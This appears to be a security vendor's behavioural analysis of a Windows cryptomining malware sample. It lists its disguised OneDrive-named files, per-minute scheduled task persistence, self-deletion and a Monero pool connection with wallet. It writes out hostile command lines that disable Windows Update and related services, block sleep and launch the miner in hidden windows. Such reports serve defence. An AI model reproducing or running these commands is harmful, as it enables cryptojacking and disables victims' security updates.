Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\systemonedriveupdatetaskmachinecoretask
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\swell] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs'
- [HKLM\SYSTEM\CurrentControlSet\Services\direction] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs'
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\systemonedrivesvc32\systemonedrivesvc32.{208d2c60-3aea-1069-a2d7-08002b30309d}\systemonedrivebroker.exe
- nul
- <SYSTEM32>\config\systemprofile\appdata\roaming\microsoft\microsoftweb.{7007acc7-3202-11d1-aad2-00805fc1270e}\systemonedrivesvc64a.exe
- <SYSTEM32>\config\systemprofile\appdata\roaming\microsoft\microsoftweb.{7007acc7-3202-11d1-aad2-00805fc1270e}\winring0x64.sys
Deletes itself.
Network activity
TCP
Other
- '34.##9.100.209':443
UDP
- DNS ASK xm#####.nanopool.org
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\systemonedrivesvc32\systemonedrivesvc32.{208d2c60-3aea-1069-a2d7-08002b30309d}\systemonedrivebroker.exe'
- '<SYSTEM32>\config\systemprofile\appdata\roaming\microsoft\microsoftweb.{7007acc7-3202-11d1-aad2-00805fc1270e}\systemonedrivesvc64a.exe' -a rx/0 -o xmr-eu1.nanopool.org:10343 -u 44kk8GDevYWaamLGkAxwMybbvB6k4TkDqPayXugZhwdLRL5P5mWbsaQi197NuLmJLqU1H78DvymgoA8FZTx4rPDH7Z4YL56.RIG6 -p RIG6 --cpu-priority=0 --randomx-mode=fast --tls ...
Executes the following
- '<SYSTEM32>\cmd.exe' /C "sc stop wuauserv && sc config wuauserv start= disabled && sc stop UsoSvc && sc config UsoSvc start= disabled && sc stop bits && sc config bits start= disabled && sc stop dosvc && sc config ...
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0
- '<SYSTEM32>\timeout.exe' /t 5 /nobreak
- '<SYSTEM32>\cmd.exe' /c timeout /t 5 /nobreak >nul & del "<Full path to file>"
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 1 /TN "SystemOneDriveUpdateTaskMachineCoreTask" /TR "%ALLUSERSPROFILE%\SystemOneDriveSvc32\SystemOneDriveSvc32.{208D2C60-3AEA-1069-A2D7-08002B30309D}\SystemOneDriveBroker...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Disable-MMAgent -MemoryCompression"
- '<SYSTEM32>\cmd.exe' /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-dc 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Rename-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\UsoSvc' -NewName 'slump' -ErrorAction SilentlyContinue; Rename-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Service...
- '<SYSTEM32>\powercfg.exe' /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\cmd.exe' /c powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' -Force | Out-Null -ErrorAction SilentlyContinue; New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "gpupdate /force;"
- '<SYSTEM32>\cmd.exe' /c powercfg /x -standby-timeout-ac 0
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c powercfg /x -standby-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0' (with hidden window)
- '%ALLUSERSPROFILE%\systemonedrivesvc32\systemonedrivesvc32.{208d2c60-3aea-1069-a2d7-08002b30309d}\systemonedrivebroker.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c timeout /t 5 /nobreak >nul & del "<Full path to file>"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Disable-MMAgent -MemoryCompression"' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 1 /TN "SystemOneDriveUpdateTaskMachineCoreTask" /TR "%ALLUSERSPROFILE%\SystemOneDriveSvc32\SystemOneDriveSvc32.{208D2C60-3AEA-1069-A2D7-08002B30309D}\SystemOneDriveBroker...' (with hidden window)
- '<SYSTEM32>\config\systemprofile\appdata\roaming\microsoft\microsoftweb.{7007acc7-3202-11d1-aad2-00805fc1270e}\systemonedrivesvc64a.exe' -a rx/0 -o xmr-eu1.nanopool.org:10343 -u 44kk8GDevYWaamLGkAxwMybbvB6k4TkDqPayXugZhwdLRL5P5mWbsaQi197NuLmJLqU1H78DvymgoA8FZTx4rPDH7Z4YL56.RIG6 -p RIG6 --cpu-priority=0 --randomx-mode=fast --tls ...' (with hidden window)
